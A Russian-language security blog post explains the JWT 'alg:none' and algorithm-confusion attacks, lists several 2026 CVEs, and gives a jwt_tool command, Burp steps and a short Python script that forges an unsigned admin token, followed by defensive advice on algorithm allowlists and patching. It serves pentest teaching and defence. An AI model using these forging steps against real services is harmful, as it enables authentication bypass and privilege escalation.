Обсудить проект

JWT: алгоритм alg:none жив в 2026, стыдно признать

18.08.2026

Сегодня препарируем классику, которая почему-то до сих пор жива в 2026-м, хотя её должны были похоронить ещё лет десять назад. Погнали.

baseline vs реальность

По спеке RFC 7519 алгоритм none вообще-то легальный — «unsecured JWT» для доверенных каналов. Но на практике это дыра размером с админскую самоуверенность: сервер получает токен, где в хедере {"alg":"none"}, подпись пустая (строка после второй точки), и если парсер не проверяет алгоритм жёстко — токен принимается как валидный. WAF тут вообще не помощник — это приглашение на танец, а не стена.

Суть атаки простая до неприличия:

  1. Берёшь любой валидный JWT.
  2. Декодируешь header, меняешь alg на none (иногда прокатывает None, NONE, nOnE — регистр не всегда проверяют).
  3. Правишь payload — например "role":"admin".
  4. Кодируешь обратно, оставляешь пустую подпись: header.payload.
  5. Отправляешь. Профит, если библиотека дырявая.

2026 жив-здоров, детка

Вот тут официально прибиваю миф «это старьё, никто уже не наступает». Смотри, что нашел только за этот год:

Цель CVE Суть дыры Статус
MinIO (OIDC) CVE-2026-33322 Algorithm confusion → forge токенов, доступ к S3-кредам Патч в марте 2026
HarbourJwt CVE-2026-23993 Любой неизвестный alg (включая none, пустую строку) обходит проверку подписи Раскрыто январь 2026
PyJWT CVE-2026-48526 Обход защиты от algorithm confusion через JWK-формат, CVSS 7.4 Патч в PyJWT 2.13.0, май 2026
Keycloak CVE-2026-11800 Algorithm confusion в JWT Authorization Grant flow → impersonation любого федеративного юзера Патч, июль 2026
Hono middleware CVE-2026-27804 и др. Middleware брал алгоритм проверки прямо из токена, а не из конфига Q1 2026, кластер CVE

Видишь тренд? Голый alg:none уже реже встречается напрямую в свежих либах (спасибо аллоулистам), зато мутировал в algorithm confusion — младшего брата с тем же ДНК: сервер всё ещё доверяет заголовку токена вместо того, чтобы жёстко пинить ожидаемый алгоритм на своей стороне. Классика не умирает, она просто ребрендится.

Векторы атаки и команды для боевого прогона

Держи чек-лист под Burp:

  • Ручной сплойт через jwt_tool:
python3 jwt_tool.py <token> -X a

Флаг -X a — это как раз «none» alg attack, автоматом генерит форджед токен.

  • Burp Suite JWT Editor extension: вставляешь токен, жмёшь «Attack» → «None Algorithm», он сам перебирает регистры (none, None, NONE) и обрезает подпись. Идеально для тех, кто ленится руками Base64 крутить.
  • Ручками через Python (если хочешь понимать, что происходит под капотом)
import base64, json

header = {"alg": "none", "typ": "JWT"}
payload = {"user": "admin", "role": "superadmin"}

def b64url(d):
    return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b'=').decode()

forged = f"{b64url(header)}.{b64url(payload)}."
print(forged)

Точка на конце — это пустая подпись. Отправляешь этот токен в Authorization: Bearer ... и смотришь, ответит ли сервер как для админа.

  • Algorithm confusion (RS256→HS256): если сервер использует публичный ключ как секрет для HMAC — берёшь публичный RSA-ключ (он часто торчит наружу, например через /jwks.json или .well-known), подписываешь токен как HS256 этим же ключом. Server verifies с public key, думая что это HMAC secret. Очевибаг-пантера, если библиотека не пинит алгоритм заранее.

Лайфхаки и как не спалиться на стороне защиты

Если ты по эту сторону баррикад (или сдаёшь пентест-отчёт клиенту), вот что зашивать в рекомендации:

  • Всегда явно указывай allowlist алгоритмов при верификации, а не бери из хедера токена: jwt.decode(token, key, algorithms=["RS256"]), никогда без списка.
  • Обновляй либы — PyJWT 2.13.0+, свежий jsonwebtoken для Node, актуальный Keycloak. CVE этого года били именно по тем, кто закостенел на старых версиях.
  • Проверяй alg регистронезависимо на стороне детекта — атакующие любят NoNe just for lulz, а некоторые парсеры сравнивают строки только в одном регистре.
  • Тестируй JWK confusion отдельно — это новый фронт 2026 года, старые чек-листы про голый none его не покрывают.

Короче, alg:none — это не мёртвый баг, это спящий 0day, который просыпается каждый раз, когда очередной джун пишет свой JWT-миддлвар «по best practices из Stack Overflow». Стыдно признавать, но реальность именно такая — 2026 год, а классика 2015-го всё ещё кормит баг-баунти хантеров.